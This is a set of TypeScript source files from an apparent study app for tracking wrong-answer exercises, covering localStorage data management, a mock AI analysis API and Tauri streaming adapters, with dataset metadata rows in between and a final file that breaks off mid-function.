const mistakes = JSON.parse(localStorage.getItem(STORAGE_KEYS.MISTAKES) || '[]');
if (!filter) return mistakes;
return mistakes.filter((mistake: MistakeItem) => {
if (filter.subject && mistake.subject !== filter.subject) return false;
if (filter.type && mistake.mistake_type !== filter.type) return false;
if (filter.tags && !filter.tags.some(tag => mistake.tags.includes(tag))) return false;
return true;
});
}
static getMistakeById(id: string): MistakeItem | null {
const mistakes = this.getMistakes();
return mistakes.find(mistake => mistake.id === id) || null;
}
static saveMistake(mistake: MistakeItem): boolean {
try {
const mistakes = this.getMistakes();
const existingIndex = mistakes.findIndex(m => m.id === mistake.id);
if (existingIndex >= 0) {
mistakes[existingIndex] = mistake;
} else {
mistakes.push(mistake);
}
localStorage.setItem(STORAGE_KEYS.MISTAKES, JSON.stringify(mistakes));
return true;
} catch (error) {
console.error('保存错题失败:', error);
return false;
}
}
static deleteMistake(id: string): boolean {
try {
const mistakes = this.getMistakes();
const filteredMistakes = mistakes.filter(mistake => mistake.id !== id);
localStorage.setItem(STORAGE_KEYS.MISTAKES, JSON.stringify(filteredMistakes));
return true;
} catch (error) {
console.error('删除错题失败:', error);
return false;
}
}
// 临时会话管理
static saveTempSession(tempId: string, data: any): void {
const sessions = JSON.parse(localStorage.getItem(STORAGE_KEYS.TEMP_SESSIONS) || '{}');
sessions[tempId] = data;
localStorage.setItem(STORAGE_KEYS.TEMP_SESSIONS, JSON.stringify(sessions));
}
static getTempSession(tempId: string): any {
const sessions = JSON.parse(localStorage.getItem(STORAGE_KEYS.TEMP_SESSIONS) || '{}');
return sessions[tempId] || null;
}
static deleteTempSession(tempId: string): void {
const sessions = JSON.parse(localStorage.getItem(STORAGE_KEYS.TEMP_SESSIONS) || '{}');
delete sessions[tempId];
localStorage.setItem(STORAGE_KEYS.TEMP_SESSIONS, JSON.stringify(sessions));
}
// 回顾分析管理
static getReviewSessions(): ReviewSession[] {
this.initializeData();
return JSON.parse(localStorage.getItem(STORAGE_KEYS.REVIEWS) || '[]');
}
static saveReviewSession(session: ReviewSession): boolean {
try {
const sessions = this.getReviewSessions();
const existingIndex = sessions.findIndex(s => s.id === session.id);
if (existingIndex >= 0) {
sessions[existingIndex] = session;
} else {
sessions.push(session);
}
localStorage.setItem(STORAGE_KEYS.REVIEWS, JSON.stringify(sessions));
return true;
} catch (error) {
console.error('保存回顾分析失败:', error);
return false;
}
}
// 设置管理
static getSettings(): any {
const defaultSettings = {
apiKey: '',
model1: 'gpt-4-vision-preview',
model2: 'gpt-4',
subjects: ['数学', '物理', '化学', '英语'],
prompts: {
数学: {
model1: '请分析这道数学题目，提取题目文本、分类和标签。',
model2: '请详细解答这道数学题目，提供清晰的解题步骤。'
},
物理: {
model1: '请分析这道物理题目，提取题目文本、分类和标签。',
model2: '请详细解答这道物理题目，说明物理原理和计算过程。'
},
化学: {
model1: '请分析这道化学题目，提取题目文本、分类和标签。',
model2: '请详细解答这道化学题目，解释化学反应和计算过程。'
},
英语: {
model1: '请分析这道英语题目，提取题目文本、分类和标签。',
model2: '请详细解答这道英语题目，提供语法解释和答案分析。'
}
}
};
const settings = localStorage.getItem(STORAGE_KEYS.SETTINGS);
return settings ? { ...defaultSettings, ...JSON.parse(settings) } : defaultSettings;
}
static saveSettings(settings: any): boolean {
try {
localStorage.setItem(STORAGE_KEYS.SETTINGS, JSON.stringify(settings));
return true;
} catch (error) {
console.error('保存设置失败:', error);
return false;
}
}
// 统计信息
static getStatistics() {
const mistakes = this.getMistakes();
const reviews = this.getReviewSessions();
const subjectStats = mistakes.reduce((acc, mistake) => {
acc[mistake.subject] = (acc[mistake.subject] || 0) + 1;
return acc;
}, {} as Record<string, number>);
const typeStats = mistakes.reduce((acc, mistake) => {
acc[mistake.mistake_type] = (acc[mistake.mistake_type] || 0) + 1;
return acc;
}, {} as Record<string, number>);
const tagStats = mistakes.reduce((acc, mistake) => {
mistake.tags.forEach(tag => {
acc[tag] = (acc[tag] || 0) + 1;
});
return acc;
}, {} as Record<string, number>);
return {
totalMistakes: mistakes.length,
totalReviews: reviews.length,
subjectStats,
typeStats,
tagStats,
recentMistakes: mistakes
.sort((a, b) => new Date(b.created_at).getTime() - new Date(a.created_at).getTime())
.slice(0, 5)
};
}
}
// 模拟API调用
export class MockAPI {
static async analyzeNewMistake(request: AnalysisRequest): Promise<AnalysisResponse> {
// 模拟网络延迟
await new Promise(resolve => setTimeout(resolve, 2000 + Math.random() * 1000));
const tempId = 'temp-' + Date.now() + '-' + Math.random().toString(36).substr(2, 9);
// 根据科目生成不同的分析结果
const subjectAnalysis = {
'数学': {
tags: ['二次函数', '最值问题', '配方法'],
type: '计算题',
answer: '这是一道二次函数求最值的问题。通过配方法可以将函数转换为顶点式，从而求出最值。'
},
'物理': {
tags: ['牛顿定律', '力学', '运动学'],
type: '计算题',
answer: '这是一道力学问题。需要运用牛顿定律分析物体的运动状态和受力情况。'
},
'化学': {
tags: ['化学反应', '计算', '平衡'],
type: '计算题',
answer: '这是一道化学计算题。需要根据化学方程式和反应原理进行计算。'
},
'英语': {
tags: ['语法', '阅读理解', '词汇'],
type: '选择题',
answer: '这是一道英语题目。需要理解语法规则和词汇含义来选择正确答案。'
}
};
const analysis = subjectAnalysis[request.subject as keyof typeof subjectAnalysis] || subjectAnalysis['数学'];
const response: AnalysisResponse = {
temp_id: tempId,
initial_data: {
ocr_text: `模拟OCR识别结果：这是一道关于${request.subject}的题目。用户问题：${request.user_question}`,
tags: analysis.tags,
mistake_type: analysis.type,
first_answer: `${analysis.answer}\n\n**解题思路：**\n1. 分析题目条件\n2. 选择合适的解题方法\n3. 按步骤计算\n4. 验证答案\n\n您对这个解答有什么疑问吗？`
}
};
// 保存临时会话
DataManager.saveTempSession(tempId, {
request,
response,
created_at: new Date().toISOString()
});
return response;
}
static async continueChat(_tempId: string, chatHistory: ChatMessage[]): Promise<{ new_assistant_message: string }> {
// 模拟网络延迟
await new Promise(resolve => setTimeout(resolve, 1000 + Math.random() * 500));
const lastUserMessage = chatHistory[chatHistory.length - 1]?.content || '';
// 智能回复逻辑
let response = '';
if (lastUserMessage.includes('步骤') || lastUserMessage.includes('详细')) {
response = '我来为您详细解释每个步骤：\n\n1. **第一步**：仔细阅读题目，理解题意\n2. **第二步**：确定已知条件和求解目标\n3. **第三步**：选择合适的公式或方法\n4. **第四步**：代入数值进行计算\n5. **第五步**：检查答案的合理性\n\n您希望我详细解释哪个步骤？';
} else if (lastUserMessage.includes('为什么') || lastUserMessage.includes('原理')) {
response = '关于您提到的原理问题：\n\n这个方法的理论基础是...\n\n**核心思想**：\n- 利用数学/物理的基本定律\n- 通过逻辑推理得出结论\n- 验证结果的正确性\n\n您还想了解哪方面的原理？';
} else if (lastUserMessage.includes('例题') || lastUserMessage.includes('练习')) {
response = '我为您推荐一些类似的练习题：\n\n**基础练习**：\n1. 类似题型的简化版本\n2. 相同方法的不同应用\n\n**进阶练习**：\n1. 综合性更强的题目\n2. 需要多种方法结合的问题\n\n您希望我提供具体的练习题吗？';
} else {
response = `我理解您的问题。让我从另一个角度来解释：\n\n${lastUserMessage.includes('不懂') ? '看起来您对某个概念还不太清楚，' : ''}基于您的问题，我建议：\n\n1. 回顾相关的基础知识\n2. 多做类似的练习题\n3. 总结解题规律\n\n您还有什么具体的疑问吗？`;
}
return { new_assistant_message: response };
}
static async saveToLibrary(tempId: string, chatHistory: ChatMessage[]): Promise<{ success: boolean; mistake_item: MistakeItem }> {
const tempSession = DataManager.getTempSession(tempId);
if (!tempSession) {
throw new Error('临时会话不存在');
}
const mistakeItem: MistakeItem = {
id: 'mistake-' + Date.now() + '-' + Math.random().toString(36).substr(2, 9),
subject: tempSession.request.subject,
created_at: new Date().toISOString(),
question_images: [], // 在实际应用中这里会是图片路径
analysis_images: [],
user_question: tempSession.request.user_question,
ocr_text: tempSession.response.initial_data.ocr_text,
tags: tempSession.response.initial_data.tags,
mistake_type: tempSession.response.initial_data.mistake_type,
status: 'completed',
chat_history: chatHistory
};
const success = DataManager.saveMistake(mistakeItem);
if (success) {
DataManager.deleteTempSession(tempId);
}
return { success, mistake_item: mistakeItem };
}
static async reviewAnalysis(mistakeIds: string[]): Promise<string> {
// 模拟网络延迟
await new Promise(resolve => setTimeout(resolve, 3000));
const mistakes = mistakeIds.map(id => DataManager.getMistakeById(id)).filter(Boolean) as MistakeItem[];
if (mistakes.length === 0) {
throw new Error('没有找到有效的错题');
}
const subjects = [...new Set(mistakes.map(m => m.subject))];
const tags = [...new Set(mistakes.flatMap(m => m.tags))];
const types = [...new Set(mistakes.map(m => m.mistake_type))];
return `## 📊 回顾分析报告
### 📈 整体概况
- **分析题目数量**: ${mistakes.length} 道
- **涉及科目**: ${subjects.join('、')}
- **题目类型**: ${types.join('、')}
- **主要知识点**: ${tags.slice(0, 5).join('、')}
### 🔍 关联分析
通过对您选择的 ${mistakes.length} 道错题进行深入分析，我发现了以下关联模式：
**1. 知识点关联**
${subjects.includes('数学') ? `
- 二次函数相关问题占比较高，涉及最值、图像、交点等多个方面
- 这些问题都围绕二次函数的基本性质展开，说明您需要加强对二次函数整体概念的理解
` : ''}
**2. 解题方法关联**
- 多道题目都涉及到基础运算和概念理解
- 建议加强基础知识的掌握和解题方法的练习
### ⚠️ 易错点分析
根据您的错题模式，识别出以下易错点：
**1. 概念理解不够深入**
- 对基本概念的理解还需要加强
- 建议：系统复习相关概念，理解其本质含义
**2. 计算准确性有待提高**
- 在计算过程中容易出错
- 建议：加强基础运算练习，注意计算步骤的规范性
**3. 方法选择不够灵活**
- 对不同题型的解题方法掌握不够熟练
- 建议：多做不同类型的题目，总结解题规律
### 📚 复习建议
1. **系统复习基础知识**，确保概念理解准确
2. **加强计算训练**，提高计算准确性和速度
3. **多做综合性题目**，培养知识点之间的联系思维
4. **重视错题回顾**，定期复习已做错的题目
### 🎯 下一步学习重点
- 重点复习出现频率高的知识点
- 加强薄弱环节的专项训练
- 培养良好的解题习惯
- 建立完整的知识体系
希望这个分析对您的学习有所帮助！如有疑问，请随时提问。`;
}
}
export default DataManager;
| 14,377
|
dataManager
|
ts
|
en
|
typescript
|
code
|
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|
1
|
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|
000haoji/deep-student
|
src/utils/unifiedStreamManager.ts
|
/**
* 统一流式处理管理器
*
* 替代项目中的多种流式处理实现，提供统一、一致的流式数据处理方案
* 支持所有现有的流式场景：分析、对话、回顾分析等
*/
import { listen } from '@tauri-apps/api/event';
import React from 'react';
export interface StreamChunk {
content: string;
is_complete: boolean;
chunk_id: string;
}
export interface StreamMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp: string;
}
export interface StreamOptions {
enableChainOfThought?: boolean;
onChunk?: (chunk: string) => void;
onThinking?: (thinking: string) => void;
onComplete?: (fullResponse: string, thinkingContent?: string) => void;
onError?: (error: string) => void;
onProgress?: (progress: { content: string; thinking?: string }) => void;
}
export interface StreamRequest {
type: 'analysis' | 'chat' | 'continue_chat' | 'review_analysis' | 'review_chat';
tempId?: string;
mistakeId?: string;
reviewId?: string;
imageData?: string[];
userInput?: string;
chatHistory?: StreamMessage[];
subject?: string;
enableChainOfThought?: boolean;
}
export interface StreamState {
isStreaming: boolean;
content: string;
thinking: string;
error?: string;
}
/**
* 统一流式处理管理器
* 集中管理所有流式监听器，避免内存泄漏
*/
export class UnifiedStreamManager {
private activeListeners: Map<string, () => void> = new Map();
private streamStates: Map<string, StreamState> = new Map();
/**
* 开始流式处理
*/
async startStream(
streamId: string,
eventName: string,
options: StreamOptions = {}
): Promise<void> {
console.log(`🚀 开始流式处理 [${streamId}]: ${eventName}`);
// 清理现有的流
this.stopStream(streamId);
// 初始化流状态
this.streamStates.set(streamId, {
isStreaming: true,
content: '',
thinking: ''
});
let fullContent = '';
let fullThinking = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
try {
// 监听主内容流
const unlistenContent = await listen(eventName, (event: any) => {
if (!contentListenerActive) return;
const payload = event.payload;
console.log(`💬 收到流式内容 [${streamId}]:`, payload);
if (payload) {
// 检查是否完成
if (payload.is_complete) {
console.log(`🎉 流式内容完成 [${streamId}]，总长度: ${fullContent.length}`);
contentListenerActive = false;
unlistenContent();
// 如果思维链监听器也不活跃了，则设置整体完成状态
if (!thinkingListenerActive) {
this.completeStream(streamId, fullContent, fullThinking, options);
}
return;
}
// 累积内容
if (payload.content) {
fullContent += payload.content;
// 更新状态
const state = this.streamStates.get(streamId);
if (state) {
state.content = fullContent;
this.streamStates.set(streamId, state);
}
// 触发回调
if (options.onChunk) {
options.onChunk(payload.content);
}
if (options.onProgress) {
options.onProgress({ content: fullContent, thinking: fullThinking || undefined });
}
console.log(`📝 累积内容长度 [${streamId}]: ${fullContent.length} 字符`);
}
}
});
this.activeListeners.set(`${streamId}_content`, unlistenContent);
// 如果启用思维链，监听思维链事件
if (options.enableChainOfThought) {
const reasoningEvent = `${eventName}_reasoning`;
console.log(`🧠 监听思维链事件 [${streamId}]: ${reasoningEvent}`);
const unlistenThinking = await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
const payload = event.payload;
console.log(`🧠 思维链内容 [${streamId}]:`, payload);
if (payload) {
// 检查是否完成
if (payload.is_complete) {
console.log(`🎉 思维链完成 [${streamId}]，总长度: ${fullThinking.length}`);
thinkingListenerActive = false;
unlistenThinking();
// 如果主内容监听器也不活跃了，则设置整体完成状态
if (!contentListenerActive) {
this.completeStream(streamId, fullContent, fullThinking, options);
}
return;
}
// 累积思维链内容
if (payload.content) {
fullThinking += payload.content;
// 更新状态
const state = this.streamStates.get(streamId);
if (state) {
state.thinking = fullThinking;
this.streamStates.set(streamId, state);
}
// 触发回调
if (options.onThinking) {
options.onThinking(payload.content);
}
if (options.onProgress) {
options.onProgress({ content: fullContent, thinking: fullThinking || undefined });
}
console.log(`🧠 思维链累积长度 [${streamId}]: ${fullThinking.length} 字符`);
}
}
});
this.activeListeners.set(`${streamId}_thinking`, unlistenThinking);
} else {
// 如果没有启用思维链，标记思维链监听器为不活跃
thinkingListenerActive = false;
}
} catch (error) {
console.error(`❌ 流式处理启动失败 [${streamId}]:`, error);
this.handleStreamError(streamId, error as string, options);
}
}
/**
* 停止指定流
*/
stopStream(streamId: string): void {
console.log(`🛑 停止流式处理 [${streamId}]`);
// 清理内容监听器
const contentListener = this.activeListeners.get(`${streamId}_content`);
if (contentListener) {
contentListener();
this.activeListeners.delete(`${streamId}_content`);
}
// 清理思维链监听器
const thinkingListener = this.activeListeners.get(`${streamId}_thinking`);
if (thinkingListener) {
thinkingListener();
this.activeListeners.delete(`${streamId}_thinking`);
}
// 清理状态
this.streamStates.delete(streamId);
}
/**
* 停止所有流
*/
stopAllStreams(): void {
console.log(`🧹 清理所有流式处理，共 ${this.activeListeners.size} 个监听器`);
for (const [key, unlisten] of this.activeListeners) {
try {
unlisten();
} catch (error) {
console.warn(`清理监听器失败 [${key}]:`, error);
}
}
this.activeListeners.clear();
this.streamStates.clear();
}
/**
* 获取流状态
*/
getStreamState(streamId: string): StreamState | undefined {
return this.streamStates.get(streamId);
}
/**
* 检查流是否活跃
*/
isStreamActive(streamId: string): boolean {
const state = this.streamStates.get(streamId);
return state?.isStreaming || false;
}
/**
* 完成流处理
*/
private completeStream(
streamId: string,
content: string,
thinking: string,
options: StreamOptions
): void {
console.log(`🎉 流式处理完成 [${streamId}]`);
// 更新状态
const state = this.streamStates.get(streamId);
if (state) {
state.isStreaming = false;
this.streamStates.set(streamId, state);
}
// 触发完成回调
if (options.onComplete) {
options.onComplete(content, thinking || undefined);
}
// 延迟清理（给UI一些时间更新）
setTimeout(() => {
this.stopStream(streamId);
}, 100);
}
/**
* 处理流错误
*/
private handleStreamError(
streamId: string,
error: string,
options: StreamOptions
): void {
console.error(`❌ 流式处理错误 [${streamId}]:`, error);
// 更新状态
const state = this.streamStates.get(streamId);
if (state) {
state.isStreaming = false;
state.error = error;
this.streamStates.set(streamId, state);
}
// 触发错误回调
if (options.onError) {
options.onError(error);
}
// 清理流
this.stopStream(streamId);
}
}
// 创建全局实例
export const unifiedStreamManager = new UnifiedStreamManager();
/**
* React Hook for unified streaming
* 提供React组件使用的统一流式处理Hook
*/
export function useUnifiedStream() {
const [activeStreams, setActiveStreams] = React.useState<Set<string>>(new Set());
const [streamStates, setStreamStates] = React.useState<Map<string, StreamState>>(new Map());
// 组件卸载时清理所有流
React.useEffect(() => {
return () => {
console.log('🧹 组件卸载，清理所有流式处理');
unifiedStreamManager.stopAllStreams();
};
}, []);
const startStream = React.useCallback(async (
streamId: string,
eventName: string,
options: StreamOptions = {}
) => {
setActiveStreams(prev => new Set(prev.add(streamId)));
const enhancedOptions: StreamOptions = {
...options,
onProgress: (progress) => {
setStreamStates(prev => new Map(prev.set(streamId, {
isStreaming: true,
content: progress.content,
thinking: progress.thinking || ''
})));
if (options.onProgress) {
options.onProgress(progress);
}
},
onComplete: (content, thinking) => {
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
setStreamStates(prev => new Map(prev.set(streamId, {
isStreaming: false,
content,
thinking: thinking || ''
})));
if (options.onComplete) {
options.onComplete(content, thinking);
}
},
onError: (error) => {
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
setStreamStates(prev => new Map(prev.set(streamId, {
isStreaming: false,
content: '',
thinking: '',
error
})));
if (options.onError) {
options.onError(error);
}
}
};
await unifiedStreamManager.startStream(streamId, eventName, enhancedOptions);
}, []);
const stopStream = React.useCallback((streamId: string) => {
unifiedStreamManager.stopStream(streamId);
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
setStreamStates(prev => {
const newMap = new Map(prev);
newMap.delete(streamId);
return newMap;
});
}, []);
const stopAllStreams = React.useCallback(() => {
unifiedStreamManager.stopAllStreams();
setActiveStreams(new Set());
setStreamStates(new Map());
}, []);
const isStreamActive = React.useCallback((streamId: string) => {
return activeStreams.has(streamId);
}, [activeStreams]);
const getStreamState = React.useCallback((streamId: string) => {
return streamStates.get(streamId);
}, [streamStates]);
return {
startStream,
stopStream,
stopAllStreams,
isStreamActive,
getStreamState,
activeStreams: Array.from(activeStreams),
streamStates
};
}
| 10,969
|
unifiedStreamManager
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 866, "qsc_code_num_chars": 10969.0, "qsc_code_mean_word_length": 7.18937644, "qsc_code_frac_words_unique": 0.22863741, "qsc_code_frac_chars_top_2grams": 0.03340829, "qsc_code_frac_chars_top_3grams": 0.0258593, "qsc_code_frac_chars_top_4grams": 0.02601992, "qsc_code_frac_chars_dupe_5grams": 0.33022808, "qsc_code_frac_chars_dupe_6grams": 0.27529714, "qsc_code_frac_chars_dupe_7grams": 0.23016383, "qsc_code_frac_chars_dupe_8grams": 0.1810151, "qsc_code_frac_chars_dupe_9grams": 0.15836813, "qsc_code_frac_chars_dupe_10grams": 0.15836813, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00039144, "qsc_code_frac_chars_whitespace": 0.30130367, "qsc_code_size_file_byte": 10969.0, "qsc_code_num_lines": 420.0, "qsc_code_num_chars_line_max": 99.0, "qsc_code_num_chars_line_mean": 26.11666667, "qsc_code_frac_chars_alphabet": 0.81015136, "qsc_code_frac_chars_comments": 0.05752575, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01073605, "qsc_code_frac_chars_long_word_length": 0.00203114, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/tauriStreamAdapter.ts
|
/**
* Tauri Stream Adapter
*
* Focused adapter for converting Tauri backend streaming to standard streaming protocols.
* Single responsibility: Stream protocol conversion.
*/
import { invoke } from '@tauri-apps/api/core';
import { listen } from '@tauri-apps/api/event';
export interface StreamControllerManager {
controller: ReadableStreamDefaultController;
listeners: Array<() => void>;
responseStarted: boolean;
}
/**
* Create a streaming response for Tauri analysis requests
*/
export async function createAnalysisStream(
imageData: string,
userInput: string,
enableChainOfThought: boolean = true
): Promise<Response> {
const stream = new ReadableStream({
start(controller) {
const manager: StreamControllerManager = {
controller,
listeners: [],
responseStarted: false
};
handleAnalysisStream(imageData, userInput, enableChainOfThought, manager);
return () => {
manager.listeners.forEach(cleanup => cleanup());
};
}
});
return new Response(stream, {
headers: {
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive'
}
});
}
/**
* Create a streaming response for Tauri chat requests
*/
export async function createChatStream(
tempId: string,
chatHistory: any[],
enableChainOfThought: boolean = true
): Promise<Response> {
const stream = new ReadableStream({
start(controller) {
const manager: StreamControllerManager = {
controller,
listeners: [],
responseStarted: false
};
handleChatStream(tempId, chatHistory, enableChainOfThought, manager);
return () => {
manager.listeners.forEach(cleanup => cleanup());
};
}
});
return new Response(stream, {
headers: {
'Content-Type': 'text/plain; charset=utf-8',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive'
}
});
}
/**
* Handle analysis streaming events
*/
async function handleAnalysisStream(
imageData: string,
userInput: string,
enableChainOfThought: boolean,
manager: StreamControllerManager
): Promise<void> {
try {
// Set up event listeners
const unlistenContent = await listen('stream_chunk', (event: any) => {
const chunk = formatStreamChunk(event.payload.content);
manager.controller.enqueue(new TextEncoder().encode(chunk));
});
const unlistenThinking = enableChainOfThought
? await listen('stream_thinking', (event: any) => {
const chunk = formatThinkingChunk(event.payload.thinking);
manager.controller.enqueue(new TextEncoder().encode(chunk));
})
: null;
const unlistenComplete = await listen('stream_complete', () => {
finishStream(manager.controller);
});
const unlistenError = await listen('stream_error', (event: any) => {
manager.controller.error(new Error(event.payload.error));
});
// Store cleanup functions
manager.listeners.push(unlistenContent, unlistenComplete, unlistenError);
if (unlistenThinking) {
manager.listeners.push(unlistenThinking);
}
// Start the backend analysis
const base64Data = formatImageData(imageData);
await invoke('analyze_step_by_step', {
request: {
subject: "数学",
question_image_files: [base64Data],
analysis_image_files: [],
user_question: userInput,
enable_chain_of_thought: enableChainOfThought
}
});
} catch (error) {
manager.controller.error(error);
}
}
/**
* Handle chat streaming events
*/
async function handleChatStream(
tempId: string,
chatHistory: any[],
enableChainOfThought: boolean,
manager: StreamControllerManager
): Promise<void> {
try {
// Set up event listeners
const unlistenContent = await listen('stream_chunk', (event: any) => {
const chunk = formatStreamChunk(event.payload.content);
manager.controller.enqueue(new TextEncoder().encode(chunk));
});
const unlistenThinking = enableChainOfThought
? await listen('stream_thinking', (event: any) => {
const chunk = formatThinkingChunk(event.payload.thinking);
manager.controller.enqueue(new TextEncoder().encode(chunk));
})
: null;
const unlistenComplete = await listen('stream_complete', () => {
finishStream(manager.controller);
});
const unlistenError = await listen('stream_error', (event: any) => {
manager.controller.error(new Error(event.payload.error));
});
// Store cleanup functions
manager.listeners.push(unlistenContent, unlistenComplete, unlistenError);
if (unlistenThinking) {
manager.listeners.push(unlistenThinking);
}
// Start the chat stream
await invoke('continue_chat_stream', {
request: {
temp_id: tempId,
chat_history: chatHistory,
enable_chain_of_thought: enableChainOfThought
}
});
} catch (error) {
manager.controller.error(error);
}
}
/**
* Format streaming content chunk
*/
function formatStreamChunk(content: string): string {
return `data: ${JSON.stringify({
choices: [{
delta: {
content: content
}
}]
})}\n\n`;
}
/**
* Format thinking chain chunk
*/
function formatThinkingChunk(thinking: string): string {
return `data: ${JSON.stringify({
choices: [{
delta: {
thinking: thinking
}
}]
})}\n\n`;
}
/**
* Finish the stream
*/
function finishStream(controller: ReadableStreamDefaultController): void {
const finishChunk = `data: ${JSON.stringify({
choices: [{
finish_reason: 'stop'
}]
})}\n\n`;
controller.enqueue(new TextEncoder().encode(finishChunk));
controller.enqueue(new TextEncoder().encode('data: [DONE]\n\n'));
controller.close();
}
/**
* Format image data for backend
*/
function formatImageData(imageData: string): string {
return imageData.startsWith('data:') ? imageData : `data:image/jpeg;base64,${imageData}`;
}
| 6,043
|
tauriStreamAdapter
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 542, "qsc_code_num_chars": 6043.0, "qsc_code_mean_word_length": 7.2601476, "qsc_code_frac_words_unique": 0.2601476, "qsc_code_frac_chars_top_2grams": 0.04320203, "qsc_code_frac_chars_top_3grams": 0.03456163, "qsc_code_frac_chars_top_4grams": 0.04726811, "qsc_code_frac_chars_dupe_5grams": 0.66531131, "qsc_code_frac_chars_dupe_6grams": 0.64650572, "qsc_code_frac_chars_dupe_7grams": 0.60177891, "qsc_code_frac_chars_dupe_8grams": 0.60177891, "qsc_code_frac_chars_dupe_9grams": 0.57789072, "qsc_code_frac_chars_dupe_10grams": 0.57789072, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0016942, "qsc_code_frac_chars_whitespace": 0.21860003, "qsc_code_size_file_byte": 6043.0, "qsc_code_num_lines": 234.0, "qsc_code_num_chars_line_max": 92.0, "qsc_code_num_chars_line_mean": 25.82478632, "qsc_code_frac_chars_alphabet": 0.83163914, "qsc_code_frac_chars_comments": 0.11451266, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.68047337, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06950673, "qsc_code_frac_chars_long_word_length": 0.00392377, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/unifiedStreamHandler.ts
|
/**
* Unified Streaming Handler
*
* Consolidates all streaming approaches in the project into a single,
* consistent implementation that can be used across all components.
*/
import { listen } from '@tauri-apps/api/event';
import { invoke } from '@tauri-apps/api/core';
export interface StreamChunk {
content: string;
is_complete: boolean;
chunk_id: string;
}
export interface StreamMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp: string;
}
export interface StreamOptions {
enableChainOfThought?: boolean;
onChunk?: (chunk: string) => void;
onThinking?: (thinking: string) => void;
onComplete?: (fullResponse: string, thinkingContent?: string) => void;
onError?: (error: string) => void;
onProgress?: (progress: { content: string; thinking?: string }) => void;
}
export interface StreamRequest {
type: 'analysis' | 'chat' | 'continue_chat';
tempId?: string;
mistakeId?: number;
imageData?: string;
userInput?: string;
chatHistory?: StreamMessage[];
enableChainOfThought?: boolean;
}
/**
* Unified Streaming Manager
* Replaces multiple streaming implementations with a single, consistent approach
*/
export class UnifiedStreamHandler {
private activeStreams: Map<string, () => void> = new Map();
private currentProgress: Map<string, { content: string; thinking: string }> = new Map();
/**
* Start a streaming request with unified handling
*/
async startStream(request: StreamRequest, options: StreamOptions = {}): Promise<string> {
const streamId = this.generateStreamId(request);
// Stop any existing stream with the same ID
this.stopStream(streamId);
try {
